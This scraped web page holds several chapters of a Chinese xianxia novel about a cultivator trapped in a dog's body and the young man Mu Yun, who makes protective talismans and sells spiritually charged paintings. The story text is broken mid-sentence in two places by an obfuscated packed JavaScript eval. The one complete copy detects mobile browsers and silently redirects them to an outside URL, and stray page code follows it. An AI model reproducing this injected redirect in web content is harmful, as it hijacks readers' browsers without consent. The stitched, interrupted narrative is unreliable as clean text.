不过,他知道慕云做事总有道理,现在又不方便细问,就先咽下话。 一行人来到牛车边,慕云先让慕海、慕山、张玉珠坐上车,又招呼张家夫妇也坐。 张娘坐上去了,张爹则是挥挥手:“你坐你坐,我来牵牛。” 慕云客套两句,没再拒绝,又低头去看苍暝。 苍暝对上慕云的视线,没动弹。 慕云笑笑,弯下身抱起苍暝,将他放到慕海身边,这才坐在牛车最外侧。 慕海伸手摸摸苍暝的头,小小声说:“暮色辛苦了。” 苍暝在借着火光观察慕云。 慕云这几日本来已经修养得挺好,可现在的声音却比四日前回家时还要虚,脸色也比刚走了那么久路的慕山还要疲惫。 . 7. 暴露 一行人回到张家,张家三人连忙张罗起来。张娘带着张玉珠下厨,张爹给慕家兄弟倒上热水,就说去收拾他们晚上睡的房间,还把张水生也拉了出去。 不过,慕云和慕山都明白,这是给两家人各自说话的空间。今日的“迷路”太过离奇,自然是两边都要仔细问情况。 慕山听着张家父子走远,低头从腰间包里取出慕海那块平安符,却是递给了慕云:“大哥,今日多亏了这平安符!” 慕云接过平安符摩挲片刻,转而塞进旁边的慕海手中:“慕海,戴好。” 慕海正给苍暝喂水,发现平安符回来,乖巧地戴回脖子上,再仔细收进衣服里。 慕云看看趴在垫子上慢慢喝水的苍暝,自己也拿起一碗水,边喝边说:“我到这边的时候,三叔和堂哥已经跟着张叔去山脚找过一轮,两条路上都没见着你们,就想去找村长发动村里青壮帮忙进山寻人。” 慕山心道一句——果然如此。 慕云缓缓往下说:“你和张家妹子虽已定亲,可毕竟没有成婚,一同走丢的事传出去,必会惹些闲言碎语。” 慕山听得皱起眉头——在他的心目中的大哥,可不是这般迂腐之人,会因为这种原因就不寻人手帮忙找不见的亲人。 慕云将他表情看在眼里,淡淡一笑:“我劝张叔不要寻人帮忙,又把三叔劝回去,自然是因为我知道寻人帮忙也没有用,只有我能帮上你们。” 说完,他目光落在慕山的腰包上:“你的平安符用掉了,回头我再刻一个去供上。” 慕山既吃惊,却又觉得没什么不合理——他大哥就是个这么厉害的人,只是外人不知道罢了。 转而想到未婚妻,他连忙问:“大哥,你是在哪间庙里供平安符?玉珠也想给她家里供几个。” 苍暝听到这话,耳朵微微一动,停下喝水仔细往下听。 慕云淡定的声音一丝未变:“是座小庙,在我们村后面那座山间,我采药时偶然发现的。有几个道人在那里隐居,不受外头的香火,我有时采到稀有的药材会送他们一点,他们才愿破例帮我。” 苍暝继续喝水——这种哄小孩的话,不听也罢。 慕山当然没有怀疑自家兄长,只是可惜地叹口气。 慕云续道:“张家既是亲家,我帮他们四人都供一块就好。” 慕山立刻展颜:“谢谢大哥!” 慕云:“你我兄弟,不必见外。” 接着却话锋一转:“不过,今日之事我估计是冲你来的,张家倒是没有危险。” 慕山吃惊道:“啊?冲我?我没得罪人啊……就算真得罪了谁,也是村子里的人,谁能有这本事?” 慕云:“今日我在县城听到传闻,邻县从去年初到现在,发生了十多起离起命案。最近我们县也出现,两个月内死了三个。这只是报到了县里的,没上报的还不知有多少。 “据说,死的都是二十岁左右的男子,全是头一天还好端端地干着活,第二日就突然死在偏僻之处。最离起的是,所有人身上都没有外伤,找了好几个县的仵作去验尸,都验不出死因。” 慕山立刻想起腰侧的撞击感,和随之而来的疼痛与冰冷,心中顿时一阵后怕:“那我……” 慕云再次打断他:“我在县里听到这事,担心你出事,就往这边赶。当初供平安符之时,庙里道士做过法,能从我的平安符上看出你们的平安符状态。 “来的途中我发现,你的符用掉了,慕海的却一直没用。不仅如此,你那块还是沾染了脏东西才消耗掉,就知道你们该是遇到了什么不寻常的事。 “等来到这里听闻你们失踪的详情,我就点起一支道士送的引路香,能通过慕海那块平安符指引你们寻路回来。香燃起后,我很快发现到道士所说的那种香与符相连的变化,便只等着你们回来。” 苍暝又微动下耳朵——慕云的话估计大部分是假的,不过引路香倒是有可能。 他叼着那块平安符走没多久,的确就感觉到了牵引感。但那块平安符只是一性次的损耗品,慕云能如此淡定地等人,肯定是还做了些别的什么事来保障慕山慕海的安全。 苍暝在垫子上调整了个舒服的姿势,闭上眼睛。 这正是他在慕家用的那块垫子,慕海怕他趴地上凉着,细心地带了过来。他趴在垫子上一如既往的暖和,但,现在垫子是铺在张家堂屋的地上,可不是烧热的炕上,也不是在暖洋洋的太阳下。 苍暝暗自按一按垫子——他竟然一直被慕云骗过了,没有发现这块垫子的不同寻常之处。直到此刻他才知道,这块垫子其实有微小的聚灵作用,难怪小狗身子的伤势比预想中好得快。 同时,苍暝还突然想通了一件事——为什么最近这几日慕云会抱着自己睡。 其实慕云要抱的不是他,而是给他用的这块垫子。 显然四日前慕云和今日一样,耗了不少灵力,需要这块能聚灵的垫子加快恢复。 如此看来,慕云还真不是小气之人,没有直接把垫子收回去,而是和苍暝一同用,哪怕这样的效果会比独自使用要差。 再接着,苍暝又想起慕三叔家里的鸡舍鸭舍。那处聚气地,想必也不是天然形成,而是出于慕云之手。 只是,既然能布置出聚气地,却不用于修炼,甚至不住人,而是用来养鸡鸭。在苍暝眼中,实在无法理解。 这时,慕云将自己这边的情况说完,又叮嘱弟弟们:“这些事你们知道就行了,不用告诉爹娘,省得他们多想,操些没必要心。更不要告诉外面人,我面子有限,可帮不了全村人供符。” 慕山连忙郑重点头:“大哥放心,我绝不会乱说。玉珠和她爹娘也都是嘴严的人,他们迁到这边连个亲戚都没有,也没必要往外传这些。” 慕海虽然听得半懂不懂,可见慕山认真,就也跟着一脸认真地点头:“大哥放心,我的嘴更严!都没告诉水生暮色在我们家吃什么喝什么。” 慕云笑着揉揉他脑袋,赞一声“真乖”。 慕山接着又简单说了说他们的“迷路”经过,重点夸赞苍暝的神奇之处。 慕海这才知道还有前头那一段,忍不住蹲下身去再次给苍暝顺毛:“暮色太厉害了!不仅会带路,还救了二哥!可惜这里没有东西给你吃。” 他皱着眉头冥思苦想:“要不……二哥,我能不能去找玉珠姐姐讨个鸡蛋?你们帮我挡一下,我悄悄喂暮色吃。” 慕山还没回话,慕云倒是拍拍额头:“你们出事,我都给忘了。不用去讨鸡蛋,我买有肘子,在牛车上的包袱里。慕山,你出去拿一下。” 慕山应着声出去,很快拿着慕云的包袱进来。 慕云找出那块用油纸裹得好好的肘子,还是熟食,而且已经切好了片。 他手一拨,就往苍暝的碗里拨下近三成:“暮色应该也饿了,赶紧吃吧。” 又把剩下的递回给慕山:“拿到厨房去,麻烦玉珠妹子热一热。今晚吃点好的,给你们压压惊。” 苍暝低头吃肘子,想起慕云早上出门时说过会买好吃的回来,心道——倒是说话算话。 不过,除了肘子,苍暝今晚还是吃上了鸡蛋。 慕云既拿出一盘肘子,张娘也没有吝啬,做菌子时足足下了好几个鸡蛋。 而苍暝作为今日救人的大功臣,张玉珠照着慕家“人吃什么狗吃什么” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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慕云:“找凶手哪有这么容易,死因都验不出来,又能从何找起,只能自己当心点了。我会和村长说,提醒村里年轻人不要去偏僻之处,爹也和叔伯家里几个堂兄弟说一说。” 慕爹严肃地点点头:“晚上吃过饭,我就挨家去说。” 到此,慕山遇袭这事就算过去了。 随后一段日子,慕云一直没出门,留在家中休养。 苍暝使用灵力引起头痛,也得先温养头,再继续温养原身体的伤。 不过,据苍暝的观察,自己头痛恢复的速度要比慕云快。 五日后,待头终于不再痛,苍暝开始时不时到村子里逛逛。慕云不拘着他,慕家其他人自然更是不过问。 最初慕海因为担心还想跟着,慕山却笑他:“你还担心它?真有什么事,只有暮色救你的份。” 慕海想想上回,也就放下心来。 不过,除了慕三叔家的鸡舍鸭舍,苍暝没再发现村里有什么不一样之处。 就是村子后面那座延绵的山脉,或许是因为临近结界,灵气略微要浓一些些。苍暝猜测慕云爱往林子里跑,是不是在里面好修炼。 如此又过了半个月。 这一日,慕云终于出了门。 还把苍暝捎上——不容拒绝地连垫子带狗抱起,往棉袄里一塞便出了门。 苍暝总被慕云抱着睡,已经很习惯他的怀抱,并没有抗拒——从慕云不再装的那日起,他就预想到会有这一刻。 等慕云再把苍暝放到地上时,苍暝发现来到了一处小山洞。 慕云盘腿坐在他面前:“来谈谈吧。” . 8. 交谈 苍暝拱起身子,由趴着改为蹲坐,以表达自己对这位捡回自己还出借聚灵垫的疑似道友的尊重。 但他没有出声——小狗的喉咙说不出人的语言。 苍暝难得生出点好奇心,想看看慕云要怎么“谈”。 有结界的压制在,调动灵气调息修炼已经是极限。如苍暝上回那般仅仅是外放一丁点灵力,都得头痛好些天,因此根本无法如修真界一样通过链接灵识来交谈。 文字交流倒是可行。但以苍暝这副小狗身躯的不便,若是写字沟通,怕是“谈”到天黑也谈不出多少内容来。 不过,慕云显然是早有准备。 见苍暝表现出愿意谈的姿态,慕云就从袖袋里掏出一条由青、白、红、黑、黄五色丝绳编织而成的绳子。 这条绳子就是这几日里慕云当着苍暝的面编的,苍暝还真没想到竟是这个用途。 慕云接着拿出一个小巧的针线包,从中抽出一根针,对苍暝道:“得用你一滴血。” 苍暝看看那绳子,再看看慕云,甩了下尾巴表示同意。 慕云视线扫过白毛小狗全身,最后伸手轻轻捏住小狗一只耳朵:“取这里的吧,这里毛短。” 苍暝配合地趴回垫子下,任慕云施为。 针扎的感觉很轻微,和结界压制带来不适相比微不足道。 苍暝看着慕云将针尖上的一小滴血抹在五彩绳上。 血滴在瞬间被吸入绳中,绳面依旧光彩漂亮,没有留下丝毫痕迹。 而随着血滴消失,苍暝感觉到自己和五彩绳产生了联系。现在那条五彩绳就如同他的一部分,换句话说,他在体内调息的灵气可以通过五彩绳,并不会像外放灵力般遭到结界的进一步压制。 苍暝颇有些吃惊。这是炼器的手段,能达到可以滴血认主的程度,属于“宝器”以上的级别。而能炼出宝器的修士,在修真界已经算是能够独当一面的炼器师了。 这几日慕娘和慕雨在打络子,慕云在一旁一点点编这五彩绳,苍暝还当他是新学的手艺。怎么都想不到,慕云竟是在悄无声息地炼器,没有一丝灵力波动。 哪怕苍暝对炼器没多少了解,也知道这种情形并不寻常。 慕云像是没有感觉到苍暝目光中所的探究,只伸手将五彩绳往小狗脖子上挂。 一边挂,他还一边说:“得罪。但我想来想去,也只有项圈出现在小狗身上会不突兀。再者,你自己在外出时,脖子有项圈,想偷狗的知道你背后有人,也会忌惮些。能吃得起肉的人少,有些人馋疯了什么事都干得出来。” 苍暝定定趴着,没有抗拒。这条五彩绳挺长,还被滴血认主过,他戴起来并没有不舒服的感觉。 慕云戴好之后又重新坐好:“你试试,可以说话了。” 苍暝调动体内的细微灵力穿过五彩绳,同时如用神识交流凝神在脑中应一声“好”。 同时,五彩绳也发出一声轻轻的“好”。 还是个稚童的声音,有点奶生奶气的。 苍暝:“……” 有种微妙的被戏耍之感。 慕云笑道:“我特意选了小孩子的声音。如此,若你碰到需要和别人说话的紧急情形,又或是说话时不当心被人听到,孩子的声音也会让人不那么警惕。” 苍暝回他一个冷冷的眼神,没有应声。 慕云也不在意,继续说道:“好了,言归正传,我们先重新相识一番吧。我叫慕云,请教阁下尊姓大名。” 苍暝用那个奶声奶气的小孩声音回答:“暮色。” 慕云:“……” 看着慕云瞬间露出的无语神色,苍暝莫名感到心情不错。 修真界与凡人界分隔千年,他报什么名字都没有一点影响,反正都是无人知晓。 当然,他倒也不是有意隐瞒名讳。只是慕云给他弄了个这么样的声音,苍暝才一时起了“回敬”之意。 慕云很快恢复了笑模样:“看来你对我起的名字相当满意嘛。” 苍暝闭口不言。 慕云再问:“可否告知你来此所为何事。” 苍暝:“寻物。” 慕云点点头:“若是有我能帮上忙之处,你尽管开口。” 苍暝定定看着他:“为何帮我。” 慕云:“因为我在你身上感觉到了危险。” 苍暝眼中透出一丝不解。 慕云:“让你欠我一个人情,一般而言,你对我的危险便会小一点。” 苍暝:“你想要我如何回报?” 慕云:“照顾你对我并不是多大负担,所以我不求你多大的回报。只希望你能发下心魔誓,不伤害我的家人。” 苍暝听得一愣——这是个完全出乎他意料之外的回答。 心魔誓,这对每一个修士而言,都是不可违背的誓言。一旦违誓,必生心魔,再难有进境。哪怕是不求上进的修士,也会在心魔干扰下修为倒退。 但,如此严重的一事,慕云要求的誓言内容却又极为简单。 至少,苍暝从未想过会伤害慕家人。 修士想要修炼有大成,不仅要修身,同样也要修心。身心合一进而践道,方是修道。 苍暝身为自带杀伐之气的剑修,虽称不上慈悲为怀、悲天悯人,可在修心一途上也是顺应天道,不行欺凌弱小之事。 或许是他一直没有回应,慕云再次开口:“看在我在你最虚弱的时候帮了一把,你能答应我这唯一的请求吗,暮色。” 苍暝回过神,见慕云神色严肃,想到凡人寿命有限,不知道慕云能否等到自己回报的那天——在下界修行的修士于修真界而言,也不过是寿命长一些的凡人。 既然现在慕云有切实的要求,不如就了断这份因果也好。 于是,苍暝重新起身坐好,开口道:“我以心魔起誓,绝不会伤害慕云和他家人。” 虽是有奶声奶气的声音,语调里却透着郑重。 慕云缓下面容,露出一个由衷高兴的笑容:“谢谢。” 看苍暝放松地再趴下,他又说:“我想说的说完了,你可有什么想问我的。” 苍暝不是很想再用那道声音说话,不过,对这个能骗过自己的人的确还是有几分兴趣。 他尽量简洁地问:“你师承何处,是何修为。” 慕云却露出茫然之色:“师承?我没师父,就是自己研究捣鼓捣鼓,总结了一些经验。修为又是什么?” 苍暝微微眯眼——他很难相信慕云这样的能力是无师自通。 不过,不管慕云是真没有师承还是不愿意说,以苍暝有限的好奇心,自然也不会逼迫于他。至于慕云的修为,受凡人界灵气所限,最多不过炼气后期。 苍暝唯一关心之事,是寻找自己缺失的本体。 他再问:“你可会寻物之法。” 这回慕云仔仔细细思索一番,最终还是摇头:“我看过《周易》,但连卜问都学不会。不过,我可以帮你打听打听。你要找什么东西?” 苍暝却没有回答——他也不知道那块本体现在是什么情形。 慕云 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慕云却道:“只有他一个成丁,女子、老人、孩子都没有出事的记录。以这个逻辑来说,在那东西眼里,慕山就是‘落单的’。” 听起来有点强词夺理,但也算说得过去。 苍暝也不是多事的性子,慕云都不在意,他非此间人,更不会在意。 他在垫子上换个姿势,倒是突然想起来说:“这个垫子,你可否再做一个。” 慕云怔愣片刻,随即又领悟到语外之意,不禁轻笑出声:“这个可不好弄啊,当初我可是费了好大功夫的,做好之后还天天垫着睡。你也觉得很舒服吧?” 苍暝作为后来的受惠者,只得闭口不提。 慕云等过片刻,见他不再说话,就道:“既然谈完了,你再等我一会儿,就可以回去吃饭了。” 一边说,他一边站起身,向洞内走去。 苍暝犹豫片刻,还是起身跟上,见慕云没在意,便一直走在他身后。 这个洞非常深,中途慕云还吹燃了一个火折子。 来到尽头处,苍暝留意到洞壁上有一些天然的孔洞。 他看向慕云走近的其中一个,发现里面摆着几块小木牌。 和前几日见过的那个平安符一模一样。 不仅那一个孔洞,苍暝转眼仔细看看,发现好几个孔洞里也都放有同样的木牌。 慕云将面前孔洞中的木牌全都拿出,又从袖袋里掏出几个同样的木牌放回去。随后,他略一转身,再从另一个孔洞中又拿一个。 苍暝数着数,刚才是五个,加一便是六个。 慕山加上张家四人是五个,多的一个不知是准备给谁。 慕云没有多留,拿着木牌转身往回走。 来到洞口处,他重新坐在垫子旁,掏出一把小刀,开始在木牌上刻字。 苍暝同样趴回垫子上。 慕云刻得很快,刻好一块放下一块。 苍暝看到他刻的都是人名,果然是慕山和张家四人。 这块小小木牌看上去平平无奇,完全看不出能有当日那种威力。 慕云刻完最后一块,放下刻刀,却是凑近苍暝。 苍暝一眼就能看清——他手中木牌上刻着“暮色”。 慕云一边将穿过平安符的绳子系在五彩绳上,一边温声道:“挂上平安符,保我们暮色平平安安。” 随着他的话音,苍暝莫名觉得胸口挂木牌的地方似乎有些温暖。 . 9. 财源 苍暝自从脖子上挂了七彩绳和平安符,发现慕家人对自己亲切了许多。 先前因为他救过慕海慕山张玉珠,慕家人对他的态度已经明显改善。 原本只因为苍暝是慕云要养的,除了慕海真心喜欢小狗,其他几人都是给慕云帮把手的心态。 而在那件事之后,慕家人都改口开始喊“暮色”这个名字。但,或许是慕山对当时情形的描述过于奇诡,慕家人也对苍暝隐隐有着敬畏的疏离。 可如今苍暝戴上“项圈”,还有一块和众人一样的平安符,好似自然而然地就消除了那层无形的隔阂。 当然,这种改变对苍暝并没有影响,他依旧如先前一般每日调息,对慕家人的态度也依旧与先前一样。 村子里一直风平浪静,包括张玉珠那个村子,及和本村有姻亲关系的附近几村,始终没听到有人遇险或遇害的消息。可能是因为慕云提醒之后,年轻男子都加多留意了,没再有落掉的人去偏僻处。 只偶尔县城里或是更远处的村子传来一言半语的新受害人,会被村人们当成茶余饭后的谈资,和叮嘱家里人不要大意的原因。 时间慢慢过去,苍暝渐渐将这具小狗身躯给温养好。 不知道慕云是不是一直观察着,就在苍暝思索后续如何行事之时,他先一步劝道:“这都到冬天了,过年前后还会下雪,正是最冷的时候。你独自在外头,吃住都困难。便是走,也等开春暖起来之后吧。” 苍暝这段日子对凡人界有了一定了解,以他现在受限的情形的确不太合适离开。距离春暖花开不过两三个月,这点时间对修士就如同一个眨眼。因此他便继续留下来,等过完冬再看。 进入腊月,村子里的气氛就一下就有了变化。每过一日都离过年更近一点,各家都忙碌又高兴地筹备一年中最重要的节日。 先前慕云说过年前会去县城采买东西,这一日慕家人就全家出动,一起进城。当然,慕云也践诺地带上了苍暝。 还是借了村长家的牛车——慕云会给村长一点钱当谢礼。 虽然慕家和慕三叔更亲,但若是去借三叔的牛车,三叔必然不肯收礼,因此慕云能管村长借就不会找三叔,对外只说是因为他教村长孙子识字,村长感激之下让他随意用牛车。 年前要买的东西多,除了年货,还要把家里缺的东西都补齐。不然等后面下了雪,路面结上冰,出门都不方便。 慕爹赶车,其余人坐在车板上。慕云抱着苍暝,眯着眼睛随着车缓缓摇晃,一边听着慕海念自己写好的采买单子。 等慕海念完,慕云开口道:“今年给慕海启蒙,我觉得他挺有读书的天赋。等翻过年,可以送到县里正经念念书。” 慕海听到这话,整个人都懵了,下意识回:“我不要去县里!我不要念书!” 慕云笑道:“你识字快,平日看书也不觉闷,该是念书的好苗子。念书有什么不好,以后你考个秀才,就能免掉家里的税钱。再考个举人、进士,就能当县令那样的官,甚至更大的官。” 慕海听得扁起嘴,小声反驳:“念书这么好,那为什么大哥你不念。” 慕云:“念书考学都很辛苦,我身子不好,受不住。” 慕海委屈巴巴地看着他:“可我不想离开爹娘和大哥二哥姐姐……” 目光转到慕云怀里的苍暝,伸手过去摸一摸:“还有暮色。” 一家人都听笑了。 慕云轻抚着小狗的背毛:“可是,暮色总会离开我们的。” 慕海不解:“为什么?” 慕娘温声打断:“那还远着呢,你别现在就吓唬他。” 慕云笑笑,也就不再说了。 只是大家的目光被引吸到苍暝身上。 慕山突然道:“说起来,大哥带暮色回来都有快四个月了吧,感觉它长得有点慢啊。在我印象里,别家十个月的狗狗要比它大一圈。” 慕海一听,连忙出言袒护:“但别家的家可没有暮色这么威风!看看它这身毛多柔顺啊,村里人都说没见过这么干净漂亮的白狗!” 逗得大家又是一阵笑。 慕云找补一句:“可能是它小时候吃不好,身子亏空。来到家里还养了好长一阵子伤,长得慢也正常。哪家孩子要是老挨饿,也会这样。” 慕海怜惜地再摸摸苍暝:“还好暮色碰上了大哥。” 一家就这么说说笑笑地进了县城。 今日要采买的东西多,县城又离得远,慕云不想赶得太匆忙,让慕爹将牛车赶到一家客栈,包下一个小院子住一晚。 苍暝昨日没听慕云说过这事,此时见客栈掌柜认得慕家人,慕家人对此也并不惊讶,想来往年亦是如此。由此可见,慕云手中的钱显然并不拮据。 慕家人安顿好,吃过东西,便热热闹闹地上街采买。 直到天色将暮,清单上的东西总算买了七七八八,还剩着一些要明早去早市上买,能更便宜些。 难得全家来县城,慕云领慕家人到一家小食肆打包了好几个菜。没有直接在这儿吃,是顾虑给苍暝分饭菜会太打眼。 一家人回客栈小院子吃过一顿美食,纷纷露出恍如人生圆满之色。 闲着也是闲着,随后众人开始打包给亲朋好友的东西。除了以一家人的名义送出的礼之外,各人还都有单独给自己友人的礼物。包括慕雨和慕海,尽管都是些便宜的小东西,却也足以让他们兴奋。 苍暝在旁看着慕家人高兴地忙活着,不知为何,突然想起剑宗里好些人都劝过自己搬离太过冷清的玉墟峰。苍暝虽不觉得冷清有什么不好,但此时似乎也有些明白他们的想法了。 慕云包完手上最后一个,站起身整整衣服,突然说:“我出去一趟,和济仁堂的掌柜约好今晚送药过去。” 众人都是一惊。 慕娘担心道:“现在?天色都暗了。” 慕云解释:“夜禁时辰晚,又临近过年,县城里晚上挺热闹的。济仁堂向来都开到戌正时分,只是白日人多,晚上才空闲些。前次我去时,掌柜听说这回我们要住城里,就让我这个时候再过去。” 慕山放下手中东西,跟着站起:“我陪大哥走一趟。” 慕云却拒绝道:“娘和慕雨来城里少,慕海还小。只留爹一人在这,万一遇着什么事怕照应不周全,你还是留下吧。济仁堂和这里只隔一条街,要不了一刻钟就能走到。” 不等旁人再劝,他又接道:“你们若不放心,我把暮色带上好了。” 鉴于有上回苍暝救人的事迹在,慕家人这才勉强安下心,叮嘱他早去早回。 慕云背上出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934824|192856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门前就收拾好的小包袱,带着苍暝一同出门。 * 这家客栈位于一条巷子里。此时天色已暗,出了大门并没有慕云所说的“县城里的热闹”,而是明亮月光下空无一人的石板路。 慕云提着灯笼往前走,苍暝跟在他脚边。 苍暝仔细听了听,能听到巷子两旁的各户人家里都有动静,不过路的前后都没有旁人的脚步声。 他抬头看一眼淡定的慕云,轻声道:“你若担心家人,应当让慕山陪你,把我留下。” 慕云垂眸瞥来一眼,再看回前方:“这几年我家每年都在这里住一晚,客栈里人多,出不了事。但有些事,我还不想让慕山知道。” 苍暝听到这话,不由得又看一眼慕云背的包袱。 两人交谈两句的工夫,已经走到巷子口,苍暝便没再说话。 外头是大路,有店铺和小摊贩,也有行人,的确是一派热闹气息。 济仁堂在隔着一条街的街口,果然不到一刻钟就走到了。慕云担心药铺的人不让苍暝进,先一步将他抱起,才走进店中。里面的伙计见着,倒也没说什么,只分出一人来领他往后院去寻掌柜。 卖草药的过程很顺利,掌柜给慕云结了一吊钱。见慕云的包袱里还有只长匣子,问道:“这不是草药?” 慕云一边打包袱一边回:“是我写的一幅字,一会儿拿到宝墨斋去试试,看能不能换几个铜子。” 掌柜就没再问,看他背好包袱抱好狗,便起身将他送出门。 慕云没直接回客栈,果然又去了开在另一边街口的宝墨斋。 有个伙计迎上来,大概是看慕云的衣着打扮不像买主,他招呼得不咸不淡。等听慕云说想来卖字,便领他往后院去。 但慕云并没有进后院的屋子,而是跟着伙计一路穿过院子,从一扇月亮门进到一个大且幽静的庭院。 再穿过庭院,伙计的神色变得谨慎不少,对慕云的态度也不像先前那么平淡,虽没到恭敬的程度,却是明显客气许多。 最终慕云被领到一间花厅。 伙计停在门前几步,看向慕云怀中的苍暝:“慕郎君,你的狗还请留外头,我会在这儿帮忙看着它。” 慕云抚着苍暝雪白的背毛:“他很干净的,也很乖,不会乱跑乱叫。” 伙计露出为难之色。 这时,花厅内传来一道响亮的声音:“可是慕小友到了?” 慕云扬声应一句,没再管伙计,径自抱着苍暝踏进花厅。 厅里坐着三个富态的中年男子,显然都认得慕云。见到他抱着一狗,虽有惊讶之色,却也不曾说什么,只纷纷笑着招呼,个个口称“慕小友”。 慕云将苍暝放到地面,向三个人揖手行礼。随后没多话,直接取下包袱放在下首位上,再从包袱出拿出那个长盒。 那三人顿时坐不住了,都起身靠近过来,脸上露出浓浓的期待之色。 慕云不急不徐地打开盒盖,取出里面的卷轴。 他转向围到近前的三人,举起卷轴的手微微一抖。 刷的一下,卷轴骤然展开。 苍暝先是感受到一阵夹杂着微弱灵气的清风,接着才看清那幅卷轴的内容。 不是字。 是一幅山水画。 . 10. 中招 慕云另一手托住卷轴一端,笑道:“三位请看。” 三个乡绅双眼放光地围到画前,一边细细地看,一边你一言我一语地称赞画的精妙。 苍暝也在仰头看着。 他并不懂,但他能看到画面上蕴着一层非常浅淡的宝光。 若是在修真界,物品带有宝光并不稀奇。因为那表示着,要么制作的材料蕴含灵气,要么制作之人往里灌注了灵气,要么被置于灵气汇聚之处进行过蕴养。 但这里是凡人界,带宝光之物就相当稀奇了,哪怕只是一层淡到短短几年就会散掉的宝光。 而且,就苍暝的感受,这层宝光给周围一小片地方带来的灵气感,和结界周围相近。换句话说,就是凡人界里最浓郁的灵气。 由此可得,在宝光散掉前,这画在此间可谓至宝。 再者,哪怕是不懂画的苍暝,看这画上山水,亦会有种被带入其境,心境骤然开阔之感。 苍暝突然想起慕云捣鼓的那些石块,还有那间上着锁的房间。 那间房,想必就是慕云的作画之处,那些石块应该正是作画的颜料。只不知他是如何施为,能让这画带上宝光。 不过,苍暝转而又想到自己脖子上的七彩绳。慕云有那样的炼器手段,能弄出这种画似乎也不奇怪。 而画画,就是慕云的赚钱之道。 果然,慕云等三个乡绅欣赏过一番,便开口道:“三位觉得,此画价值几何?” 三人回过神,相互看看,就有一人率先道:“老朽愿出百两纹银。” 苍暝暗自吃了一惊。 他在慕家生活过几个月,偶尔也在村中走一走,对凡人界的物价已经有所了解。 像慕家这样有一定田地的六口之家,一年只要有二十两银子便可吃饱穿暖。和这个数相比,一百两的确算得上高价。 但,那可是带着宝光的画。 若让苍暝开价,万两以内绝不会出手。 慕云也没有一百两就卖,只道:“虽说家师是不重钱财的化外之人,可这个价,小子实在无颜去见家师。还请马员外恕罪。” 说着就要收画。 马员外连忙伸手拦:“慕小友别忙收,价钱自然还有得商量嘛。” 旁边两人也加进来,三人开始纷纷出价。 但苍暝看得出来,这三人之间必然先达成了某种默契。 最终,这幅画以三百六十两的价成交,马员外当场命仆人去取钱。 慕云只要碎银,并且非常仔细地检查过银子成色,还用自己来的称砣复称 马员外高兴地拿着画继续欣赏,另一位员外则问慕云:“慕小友,不知令师何时会再作画?” 慕云笑着回道:“这得看家师的心情,我也说不好。” 那员外拉着画上立于山巅挥袖的小人道:“令师缭缭几笔便能画出如此出尘俊逸的人物,真不能主画人物一回?” 慕云抱歉地道:“家师曾经尝试过,但如论怎么画都不满意,最后还将画稿全都烧了,决定今后只画山水鸟兽。” 那员外神色极为可惜地一叹。 慕云确认钱够了,打好包袱起身告辞。 总的来说,卖画过程算是很顺利,并没有拉扯多久。因此慕云抱着苍暝离开宝墨斋时,外头街面依旧很热闹,四处都飘着吆喝声。 慕云身上背着许多钱,不想引人注意,特地走在路边上。 苍暝趴在他怀中,目光四下看看,小声说道:“价太低了。” 慕云嘴角微扬,同样低声回:“我知道。但要卖出符合的价,在这里是断断不可能的。现在这价对他们来说不值得费其他心思,只要拿点小利稳住我,一转身就能狠赚上一大笔。可若是我要得更高……” 苍暝听明白了——怀璧其罪。 慕云豁达地道:“知足常乐,平安是福。现在这样已经能让我家里人过得安乐,便足够了。” 既然他心里明白,且做出此种选择,苍暝自然闭口不再多言。 * 慕云拐进客栈所在的小巷子,外边街上的喧嚣好似顿时变得遥远。 夜空中飘着薄云,像给月亮加了层罩。 巷子里比先前还暗,只有慕云手中灯笼照亮一小片前方。 苍暝从慕云怀中跳下地,走在他脚边。 慕云心情很不错,边走边笑道:“今日收入比我预期的要高点,明日再给慕海多买些花生糖,让他回去送给村中友人,他肯定会很开心。再给娘和慕雨买些珠花和好的面脂手脂,过年搭着新衣裳用。” 花生据说是今年新贩来的东西,慕家人一尝就都爱上了,买下好些准备过年吃。慕海尤其喜欢花生糖,很想给自己的小伙伴,但一问价就被吓大一跳,还为此而沮丧了好一会儿。 苍暝听着慕云的家常念叨,突然想起一事,抬头问他:“似乎只有你没准备给友人的礼物。” 慕云垂眼回视过来,笑笑:“因为我就没什么朋友。” 苍暝回想一下,发现的确如此。 这几个月里,慕家其他人都有朋友来窜门,唯独没人来找慕云。慕云看着温和易亲近,但仔细一想,和村里人其实还是有点距离。 苍暝:“为何?” 慕云:“没缘分吧。我年幼的时候,村子里有个秀才开私塾,我爹送我去念书。当时村里愿意来念书的孩子不多,先生抓课业又抓得紧,别的孩子好像也不怎么愿意和我玩,就没交到朋友。 “我在村里念了三年书,到十岁那年,先生考上了举人,搬到别县去居住,私塾自然就关了。不过先生和我爹说,我是念书好料子,若送我到县城好好学几年,当可走上科举入仕之道。 “但是县城的私塾不像村里,可以吃住在家中,城里的吃喝样样要花钱,更别说还有束脩、书本、笔墨纸砚。可我爹也不想耽误我,就寻了关系,让我在一间小药铺当学徒,至少有吃有住。 “那时我就自己一个人在县城里,白日在学堂念书,下了学便到药铺干活,每旬才能回家里住一晚。那药铺的东家待我挺好,我在学堂里成绩也不错,但到底太忙了,还是一直没能交到投缘的友人。” 苍暝:“然后你就病了?” 慕云:“是啊,十五岁那年突然一病不起,在床上躺了两年多,拖累家人不少。我病的时候,成日里昏昏沉沉,似乎去到另一个地方,可偶尔醒来又再记不清。 “真到某一日,我突然又完全清醒了,还就感觉好像会了一些东西。后来我没事就自己琢磨那 